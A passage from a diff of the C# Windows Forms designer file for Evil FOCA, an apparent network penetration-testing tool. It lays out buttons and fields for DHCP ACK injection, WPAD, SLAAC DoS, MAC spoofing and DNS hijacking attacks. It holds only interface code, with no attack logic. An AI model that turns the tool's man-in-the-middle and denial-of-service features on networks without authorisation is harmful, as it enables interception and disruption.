this.radioButtonAllcomputers.Size = new System.Drawing.Size(121, 17); + this.radioButtonAllcomputers.TabIndex = 21; + this.radioButtonAllcomputers.TabStop = true; + this.radioButtonAllcomputers.Text = "Attack all computers"; + this.radioButtonAllcomputers.UseVisualStyleBackColor = true; + // + // checkBoxUseAsGateway + // + this.checkBoxUseAsGateway.AutoSize = true; + this.checkBoxUseAsGateway.Checked = true; + this.checkBoxUseAsGateway.CheckState = System.Windows.Forms.CheckState.Checked; + this.checkBoxUseAsGateway.Location = new System.Drawing.Point(60, 75); + this.checkBoxUseAsGateway.Name = "checkBoxUseAsGateway"; + this.checkBoxUseAsGateway.Size = new System.Drawing.Size(168, 17); + this.checkBoxUseAsGateway.TabIndex = 18; + this.checkBoxUseAsGateway.Text = "Use this computer as gateway"; + this.checkBoxUseAsGateway.UseVisualStyleBackColor = true; + this.checkBoxUseAsGateway.CheckedChanged += new System.EventHandler(this.checkBoxUseAsGateway_CheckedChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(57, 26); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(60, 13); + this.label4.TabIndex = 15; + this.label4.Text = "Fake DNS:"; + // + // buttonDHCPACKInjection + // + this.buttonDHCPACKInjection.Image = global::evilfoca.Properties.Resources.Start; + this.buttonDHCPACKInjection.Location = new System.Drawing.Point(60, 155); + this.buttonDHCPACKInjection.Name = "buttonDHCPACKInjection"; + this.buttonDHCPACKInjection.Size = new System.Drawing.Size(70, 25); + this.buttonDHCPACKInjection.TabIndex = 31; + this.buttonDHCPACKInjection.Text = "Start"; + this.buttonDHCPACKInjection.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.buttonDHCPACKInjection.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.buttonDHCPACKInjection.UseVisualStyleBackColor = true; + this.buttonDHCPACKInjection.Click += new System.EventHandler(this.buttonDHCPACKInjection_Click); + // + // tabPage14 + // + this.tabPage14.Controls.Add(this.panel2); + this.tabPage14.Location = new System.Drawing.Point(4, 22); + this.tabPage14.Name = "tabPage14"; + this.tabPage14.Size = new System.Drawing.Size(479, 232); + this.tabPage14.TabIndex = 2; + this.tabPage14.Text = "WPAD"; + this.tabPage14.UseVisualStyleBackColor = true; + // + // panel2 + // + this.panel2.Controls.Add(this.wpadTargetPanel); + this.panel2.Controls.Add(this.btnWpadAttack); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(479, 232); + this.panel2.TabIndex = 8; + // + // btnWpadAttack + // + this.btnWpadAttack.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnWpadAttack.Image = global::evilfoca.Properties.Resources.Start; + this.btnWpadAttack.ImageAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnWpadAttack.Location = new System.Drawing.Point(3, 200); + this.btnWpadAttack.Name = "btnWpadAttack"; + this.btnWpadAttack.Size = new System.Drawing.Size(70, 25); + this.btnWpadAttack.TabIndex = 7; + this.btnWpadAttack.Text = "Start"; + this.btnWpadAttack.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btnWpadAttack.UseVisualStyleBackColor = true; + this.btnWpadAttack.Click += new System.EventHandler(this.btnWpadAttack_Click); + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.tabDoSIpv6); + this.tabPage4.Location = new System.Drawing.Point(4, 23); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(493, 264); + this.tabPage4.TabIndex = 1; + this.tabPage4.Text = "DoS IPv6"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // tabDoSIpv6 + // + this.tabDoSIpv6.Controls.Add(this.tabPage10); + this.tabDoSIpv6.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabDoSIpv6.Location = new System.Drawing.Point(3, 3); + this.tabDoSIpv6.Name = "tabDoSIpv6"; + this.tabDoSIpv6.SelectedIndex = 0; + this.tabDoSIpv6.Size = new System.Drawing.Size(487, 258); + this.tabDoSIpv6.TabIndex = 1; + this.tabDoSIpv6.Selected += new System.Windows.Forms.TabControlEventHandler(this.tabDoSIpv6_Selected); + // + // tabPage10 + // + this.tabPage10.Controls.Add(this.panelTargetSLAACDoS); + this.tabPage10.Controls.Add(this.buttonStartSLAACDoS); + this.tabPage10.Location = new System.Drawing.Point(4, 22); + this.tabPage10.Name = "tabPage10"; + this.tabPage10.Padding = new System.Windows.Forms.Padding(3); + this.tabPage10.Size = new System.Drawing.Size(479, 232); + this.tabPage10.TabIndex = 0; + this.tabPage10.Text = "SLAAC DoS"; + this.tabPage10.UseVisualStyleBackColor = true; + // + // buttonStartSLAACDoS + // + this.buttonStartSLAACDoS.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.buttonStartSLAACDoS.Image = global::evilfoca.Properties.Resources.Start; + this.buttonStartSLAACDoS.ImageAlign = System.Drawing.ContentAlignment.MiddleRight; + this.buttonStartSLAACDoS.Location = new System.Drawing.Point(3, 200); + this.buttonStartSLAACDoS.Name = "buttonStartSLAACDoS"; + this.buttonStartSLAACDoS.Size = new System.Drawing.Size(70, 25); + this.buttonStartSLAACDoS.TabIndex = 4; + this.buttonStartSLAACDoS.Text = "Start"; + this.buttonStartSLAACDoS.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.buttonStartSLAACDoS.UseVisualStyleBackColor = true; + this.buttonStartSLAACDoS.Click += new System.EventHandler(this.buttonStartSLAACDoS_Click); + // + // tabPage6 + // + this.tabPage6.Controls.Add(this.tabDoSIpv4); + this.tabPage6.Location = new System.Drawing.Point(4, 23); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Padding = new System.Windows.Forms.Padding(3); + this.tabPage6.Size = new System.Drawing.Size(493, 264); + this.tabPage6.TabIndex = 3; + this.tabPage6.Text = "DoS IPv4"; + this.tabPage6.UseVisualStyleBackColor = true; + // + // tabDoSIpv4 + // + this.tabDoSIpv4.Controls.Add(this.tabPage12); + this.tabDoSIpv4.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabDoSIpv4.Location = new System.Drawing.Point(3, 3); + this.tabDoSIpv4.Name = "tabDoSIpv4"; + this.tabDoSIpv4.SelectedIndex = 0; + this.tabDoSIpv4.Size = new System.Drawing.Size(487, 258); + this.tabDoSIpv4.TabIndex = 0; + this.tabDoSIpv4.Selected += new System.Windows.Forms.TabControlEventHandler(this.tabDoSIpv4_Selected); + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.pbInvMacSpoofedIp); + this.tabPage12.Controls.Add(this.pbInvMacSpoofTarget); + this.tabPage12.Controls.Add(this.tbIpSpoofedIpv4); + this.tabPage12.Controls.Add(this.label5); + this.tabPage12.Controls.Add(this.label1); + this.tabPage12.Controls.Add(this.tbTargetSpoofedIpv4); + this.tabPage12.Controls.Add(this.btStartInvalidMacSpoof); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Padding = new System.Windows.Forms.Padding(3); + this.tabPage12.Size = new System.Drawing.Size(479, 232); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = "Invalid MAC Spoofing"; + this.tabPage12.UseVisualStyleBackColor = true; + // + // pbInvMacSpoofedIp + // + this.pbInvMacSpoofedIp.Image = global::evilfoca.Properties.Resources.Add; + this.pbInvMacSpoofedIp.Location = new System.Drawing.Point(336, 67); + this.pbInvMacSpoofedIp.Name = "pbInvMacSpoofedIp"; + this.pbInvMacSpoofedIp.Size = new System.Drawing.Size(15, 15); + this.pbInvMacSpoofedIp.TabIndex = 11; + this.pbInvMacSpoofedIp.TabStop = false; + this.pbInvMacSpoofedIp.Click += new System.EventHandler(this.pbInvMacSpoofedIp_Click); + // + // pbInvMacSpoofTarget + // + this.pbInvMacSpoofTarget.Image = global::evilfoca.Properties.Resources.Add; + this.pbInvMacSpoofTarget.Location = new System.Drawing.Point(336, 33); + this.pbInvMacSpoofTarget.Name = "pbInvMacSpoofTarget"; + this.pbInvMacSpoofTarget.Size = new System.Drawing.Size(15, 15); + this.pbInvMacSpoofTarget.TabIndex = 10; + this.pbInvMacSpoofTarget.TabStop = false; + this.pbInvMacSpoofTarget.Click += new System.EventHandler(this.pbInvMacSpoofTarget_Click); + // + // tbIpSpoofedIpv4 + // + this.tbIpSpoofedIpv4.Location = new System.Drawing.Point(192, 64); + this.tbIpSpoofedIpv4.Name = "tbIpSpoofedIpv4"; + this.tbIpSpoofedIpv4.Size = new System.Drawing.Size(138, 20); + this.tbIpSpoofedIpv4.TabIndex = 9; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(57, 67); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(129, 13); + this.label5.TabIndex = 8; + this.label5.Text = "Lose communication with:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(57, 34); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(86, 13); + this.label1.TabIndex = 7; + this.label1.Text = "Target to attack:"; + // + // tbTargetSpoofedIpv4 + // + this.tbTargetSpoofedIpv4.Location = new System.Drawing.Point(192, 31); + this.tbTargetSpoofedIpv4.Name = "tbTargetSpoofedIpv4"; + this.tbTargetSpoofedIpv4.Size = new System.Drawing.Size(138, 20); + this.tbTargetSpoofedIpv4.TabIndex = 6; + // + // btStartInvalidMacSpoof + // + this.btStartInvalidMacSpoof.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btStartInvalidMacSpoof.Image = global::evilfoca.Properties.Resources.Start; + this.btStartInvalidMacSpoof.ImageAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btStartInvalidMacSpoof.Location = new System.Drawing.Point(60, 179); + this.btStartInvalidMacSpoof.Name = "btStartInvalidMacSpoof"; + this.btStartInvalidMacSpoof.Size = new System.Drawing.Size(70, 25); + this.btStartInvalidMacSpoof.TabIndex = 5; + this.btStartInvalidMacSpoof.Text = "Start"; + this.btStartInvalidMacSpoof.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btStartInvalidMacSpoof.UseVisualStyleBackColor = true; + this.btStartInvalidMacSpoof.Click += new System.EventHandler(this.btStartInvalidMacSpoof_Click); + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.panel1); + this.tabPage3.Location = new System.Drawing.Point(4, 23); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(493, 264); + this.tabPage3.TabIndex = 4; + this.tabPage3.Text = "DNS Hijacking"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // panel1 + // + this.panel1.Controls.Add(this.lbAdvertisement); + this.panel1.Controls.Add(this.btAddDNSHijack); + this.panel1.Controls.Add(this.tbDomainDNSHijack); + this.panel1.Controls.Add(this.cbWildcardDnsHijack); + this.panel1.Controls.Add(this.label2); + this.panel1.Controls.Add(this.tbIpDNSHijack); + this.panel1.Controls.Add(this.label3); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(493, 264); + this.panel1.TabIndex = 7; + // + // lbAdvertisement + // + this.lbAdvertisement.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lbAdvertisement.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.lbAdvertisement.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lbAdvertisement.ForeColor = System.Drawing.Color.Red; + this.lbAdvertisement.Location = new System.Drawing.Point(65, 15); + this.lbAdvertisement.Name = "lbAdvertisement"; + this.lbAdvertisement.Size = new System.Drawing.Size(368, 71); + this.lbAdvertisement.TabIndex = 0; + this.lbAdvertisement.Text = "To perform a DNS hijacking attack you\'ve to make any type of MITM between the tar" + + "get and gateway or target and local DNS"; + // + // btAddDNSHijack + // + this.btAddDNSHijack.Image = global::evilfoca.Properties.Resources.Start; + this.btAddDNSHijack.Location = new System.Drawing.Point(65, 175); + this.btAddDNSHijack.Name = "btAddDNSHijack"; + this.btAddDNSHijack.Size = new System.Drawing.Size(70, 23); + this.btAddDNSHijack.TabIndex = 6; + this.btAddDNSHijack.Text = "Start"; + this.btAddDNSHijack.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btAddDNSHijack.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btAddDNSHijack.UseVisualStyleBackColor = true; + this.btAddDNSHijack.Click += new System.EventHandler(this.btAddDNSHijack_Click); + // + // tbDomainDNSHijack + // + this.tbDomainDNSHijack.Location = new System.Drawing.Point(128, 111); + this.tbDomainDNSHijack.Name = "tbDomainDNSHijack"; + this.tbDomainDNSHijack.Size = new System.Drawing.Size(100, 20); + this.tbDomainDNSHijack.TabIndex = 3; + // + // cbWildcardDnsHijack + // + this.cbWildcardDnsHijack.AutoSize = true; + this.cbWildcardDnsHijack.Location = new System.Drawing.Point(234, 113); + this.cbWildcardDnsHijack.Name = "cbWildcardDnsHijack"; + this.cbWildcardDnsHijack.Size = new System.Drawing.Size(65, 17); + this.cbWildcardDnsHijack.TabIndex = 5; + this.cbWildcardDnsHijack.Text = "wildcard"; + this.cbWildcardDnsHijack.UseVisualStyleBackColor = true; + this.cbWildcardDnsHijack.CheckedChanged += new System.EventHandler(this.cbWildcardDnsHijack_CheckedChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(62, 114); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(43, 13); + this.label2.TabIndex = 1; + this.label2.Text = "Domain"; + // + // tbIpDNSHijack + // + this.tbIpDNSHijack.Location = new System.Drawing.Point(128, 138); + this.tbIpDNSHijack.Name = "tbIpDNSHijack"; + this.tbIpDNSHijack.Size = new System.Drawing.Size(100, 20); + this.tbIpDNSHijack.TabIndex = 4; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(62, 141); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(17, 13); + this.label3.TabIndex = 2; + this.label3.Text = "IP"; + // + // imgListTrick + // + this.imgListTrick.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTrick.ImageStream"))); + this.imgListTrick.TransparentColor = System.Drawing.Color.Transparent; + this.imgListTrick.Images.SetKeyName(0, "Cd-black-red.PNG"); + // + // menuStrip1 + // + this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.fileToolStripMenuItem, + this.configurationToolStripMenuItem, + this.aboutToolStripMenuItem}); + this.menuStrip1.Location = new System.Drawing.Point(0, 0); + this.menuStrip1.Name = "menuStrip1"; + this.menuStrip1.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; + this.menuStrip1.Size = new System.Drawing.Size(954, 24); + this.menuStrip1.TabIndex = 8; + this.menuStrip1.Text = "menuStrip1"; + // + // fileToolStripMenuItem + // + this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.exitToolStripMenuItem}); + this.fileToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileToolStripMenuItem.Image"))); + this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; + this.fileToolStripMenuItem.Size = new System.Drawing.Size(81, 20); + this.fileToolStripMenuItem.Text = "&Program"; + // + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Exit; + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(92, 22); + this.exitToolStripMenuItem.Text = "&Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); + // + // configurationToolStripMenuItem + // + this.configurationToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.interfaceToolStripMenuItem, + this.settingsToolStripMenuItem}); + this.configurationToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Configuration; + this.configurationToolStripMenuItem.Name = "configurationToolStripMenuItem"; + this.configurationToolStripMenuItem.Size = new System.Drawing.Size(109, 20); + this.configurationToolStripMenuItem.Text = "&Configuration"; + // + // interfaceToolStripMenuItem + // + this.interfaceToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Interface; + this.interfaceToolStripMenuItem.Name = "interfaceToolStripMenuItem"; + this.interfaceToolStripMenuItem.Size = new System.Drawing.Size(120, 22); + this.interfaceToolStripMenuItem.Text = "&Interface"; + this.interfaceToolStripMenuItem.Click += new System.EventHandler(this.interfaceToolStripMenuItem_Click); + // + // settingsToolStripMenuItem + // + this.settingsToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Settings; + this.settingsToolStripMenuItem.Name = "settingsToolStripMenuItem"; + this.settingsToolStripMenuItem.Size = new System.Drawing.Size(120, 22); + this.settingsToolStripMenuItem.Text = "&Settings"; + this.settingsToolStripMenuItem.Click += new System.EventHandler(this.settingsToolStripMenuItem_Click); + // + // aboutToolStripMenuItem + // + this.aboutToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Help; + this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; + this.aboutToolStripMenuItem.Size = new System.Drawing.Size(68, 20); + this.aboutToolStripMenuItem.Text = "&About"; + this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); + // + // treeView + // + this.treeView.AllowDrop = true; + this.treeView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.treeView.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.treeView.ContextMenuStrip = this.cMenuNeighbors; + this.treeView.ForeColor = System.Drawing.Color.Black; + this.treeView.ImageIndex = 11; + this.treeView.ImageList = this.imageList1; + this.treeView.Location = new System.Drawing.Point(0, 0); + this.treeView.Name = "treeView"; + this.treeView.SelectedImageIndex = 0; + this.treeView.Size = new System.Drawing.Size(263, 382); + this.treeView.TabIndex = 7; + this.treeView.ItemDrag += new System.Windows.Forms.ItemDragEventHandler(this.treeView_ItemDrag); + this.treeView.MouseDown += new System.Windows.Forms.MouseEventHandler(this.treeView_MouseDown); + // + // panelNeighborAdvSpoof + // + this.panelNeighborAdvSpoof.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelNeighborAdvSpoof.ForeColor = System.Drawing.SystemColors.WindowText; + this.panelNeighborAdvSpoof.Location = new System.Drawing.Point(0, 0); + this.panelNeighborAdvSpoof.Name = "panelNeighborAdvSpoof"; + this.panelNeighborAdvSpoof.Size = new System.Drawing.Size(475, 194); + this.panelNeighborAdvSpoof.TabIndex = 4; + // + // panelTargetSLAACMitm + // + this.panelTargetSLAACMitm.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelTargetSLAACMitm.Location = new System.Drawing.Point(18, 41); + this.panelTargetSLAACMitm.Name = "panelTargetSLAACMitm"; + this.panelTargetSLAACMitm.Size = new System.Drawing.Size(441, 155); + this.panelTargetSLAACMitm.TabIndex = 40; + // + // wpadv6TargetPanel + // + this.wpadv6TargetPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.wpadv6TargetPanel.Location = new System.Drawing.Point(3, 3); + this.wpadv6TargetPanel.Name = "wpadv6TargetPanel"; + this.wpadv6TargetPanel.Size = new System.Drawing.Size(473, 188); + this.wpadv6TargetPanel.TabIndex = 0; + // + // panelMitmIpv4 + // + this.panelMitmIpv4.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelMitmIpv4.Location = new System.Drawing.Point(0, 0); + this.panelMitmIpv4.Name = "panelMitmIpv4"; + this.panelMitmIpv4.Size = new System.Drawing.Size(475, 194); + this.panelMitmIpv4.TabIndex = 5; + // + // wpadTargetPanel + // + this.wpadTargetPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.wpadTargetPanel.Location = new System.Drawing.Point(3, 3); + this.wpadTargetPanel.Name = "wpadTargetPanel"; + this.wpadTargetPanel.Size = new System.Drawing.Size(473, 188); + this.wpadTargetPanel.TabIndex = 6; + // + // panelTargetSLAACDoS + // + this.panelTargetSLAACDoS.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelTargetSLAACDoS.Location = new System.Drawing.Point(1, 0); + this.panelTargetSLAACDoS.Name = "panelTargetSLAACDoS"; + this.panelTargetSLAACDoS.Size = new System.Drawing.Size(475, 194); + this.panelTargetSLAACDoS.TabIndex = 5; + // + // help + // + this.help.Dock = System.Windows.Forms.DockStyle.Fill; + this.help.Location = new System.Drawing.Point(0, 20); + this.help.Margin = new System.Windows.Forms.Padding(0); + this.help.Name = "help"; + this.help.Size = new System.Drawing.Size(182, 271); + this.help.TabIndex = 0; + // + // listViewExAttacks + // + this.listViewExAttacks.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.attackType, + this.attack, + this.Active}); + this.listViewExAttacks.Dock = System.Windows.Forms.DockStyle.Fill; + this.listViewExAttacks.GridLines = true; + this.listViewExAttacks.Location = new System.Drawing.Point(0, 0); + this.listViewExAttacks.MultiSelect = false; + this.listViewExAttacks.Name = "listViewExAttacks"; + this.listViewExAttacks.Size = new System.Drawing.Size(690, 171); + this.listViewExAttacks.StateImageList = this.imgListTrick; + this.listViewExAttacks.TabIndex = 2; + this.listViewExAttacks.UseCompatibleStateImageBehavior = false; + this.listViewExAttacks.View = System.Windows.Forms.View.Details; + // + // attackType + // + this.attackType.Text = "Attack type"; + this.attackType.Width = 123; + // + // attack + // + this.attack.Text = "Attack"; + this.attack.Width = 449; + // + // Active + // + this.Active.Text = "Active"; + // + // panelLogs + // + this.panelLogs.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelLogs.Location = new System.Drawing.Point(0, 0); + this.panelLogs.Name = "panelLogs"; + this.panelLogs.Size = new System.Drawing.Size(954, 162); + this.panelLogs.TabIndex = 10; + // + // FormMain + // + this.AllowDrop = true; + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(954, 662); + this.Controls.Add(this.splitContainer2); + this.Controls.Add(this.menuStrip1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MainMenuStrip = this.menuStrip1; + this.MinimumSize = new System.Drawing.Size(970, 700); + this.Name = "FormMain"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Evil FOCA"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormMain_FormClosing); + this.Load += new System.EventHandler(this.FormMain_Load); + panelIzquierda.ResumeLayout(false); + panelIzquierda.PerformLayout(); + this.cMenuNeighbors.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panelButtons.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.splitContainerHelp.Panel1.ResumeLayout(false); + this.splitContainerHelp.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerHelp)).EndInit(); + this.splitContainerHelp.ResumeLayout(false); + this.panelMainOptions.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.tabevilfoca.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage8.ResumeLayout(false); + this.tabPage8.PerformLayout(); + this.tabPage9.ResumeLayout(false); + this.tabPage9.PerformLayout(); + this.tabPage13.ResumeLayout(false); + this.tabPage5.ResumeLayout(false); + this.tabMitmIpv4.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabPage11.PerformLayout(); + this.tabPage14.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.tabDoSIpv6.ResumeLayout(false); + this.tabPage10.ResumeLayout(false); + this.tabPage6.ResumeLayout(false); + this.tabDoSIpv4.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.tabPage12.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbInvMacSpoofedIp)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbInvMacSpoofTarget)).EndInit(); + this.tabPage3.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.menuStrip1.ResumeLayout(false); + this.menuStrip1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private BufferedTreeView treeView; + private System.Windows.Forms.ImageList imageList1; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.Button btStartNeighborSpoof; + private System.Windows.Forms.TabControl tabevilfoca; + private System.Windows.Forms.TabPage tabPage1; + private Controls.ListViewEx.ListViewEx listViewExAttacks; + private System.Windows.Forms.ColumnHeader attackType; + private System.Windows.Forms.ColumnHeader attack; + private System.Windows.Forms.ColumnHeader Active; + public PanelLogs panelLogs; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.Button btStartARPSpoofing; + private System.Windows.Forms.SplitContainer splitContainer4; + private System.Windows.Forms.TabControl panelMainOptions; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TabPage tabPage8; + private System.Windows.Forms.TabPage tabPage9; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.TabControl tabMitmIpv4; + private System.Windows.Forms.TabPage tabPage7; + private System.Windows.Forms.TabPage tabPage6; + private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem configurationToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem interfaceToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; + private System.Windows.Forms.MenuStrip menuStrip1; + private PanelTargets panelNeighborAdvSpoof; + private PanelTargets panelMitmIpv4; + private System.Windows.Forms.ToolTip toolTip; + private System.Windows.Forms.ToolStripMenuItem settingsToolStripMenuItem; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.Label lbAdvertisement; + private System.Windows.Forms.CheckBox cbWildcardDnsHijack; + private System.Windows.Forms.TextBox tbIpDNSHijack; + private System.Windows.Forms.TextBox tbDomainDNSHijack; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button btAddDNSHijack; + private System.Windows.Forms.ImageList imgListTrick; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TabControl tabDoSIpv6; + private System.Windows.Forms.TabPage tabPage10; + private System.Windows.Forms.Button buttonStartSLAACDoS; + private PanelTarget panelTargetSLAACDoS; + private System.Windows.Forms.TabPage tabPage11; + private System.Windows.Forms.RadioButton radioButtonComputerWithMAC; + private System.Windows.Forms.RadioButton radioButtonAllcomputers; + private System.Windows.Forms.CheckBox checkBoxUseAsGateway; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label labelFakeGateway; + private System.Windows.Forms.Label labelMAC; + private System.Windows.Forms.ContextMenuStrip cMenuNeighbors; + private System.Windows.Forms.ToolStripMenuItem addNeighborToolStripMenuItem; + private System.Windows.Forms.TextBox textBoxDHCPAckMAC; + private System.Windows.Forms.TextBox textBoxDNS; + private System.Windows.Forms.TextBox textBoxGateway; + private 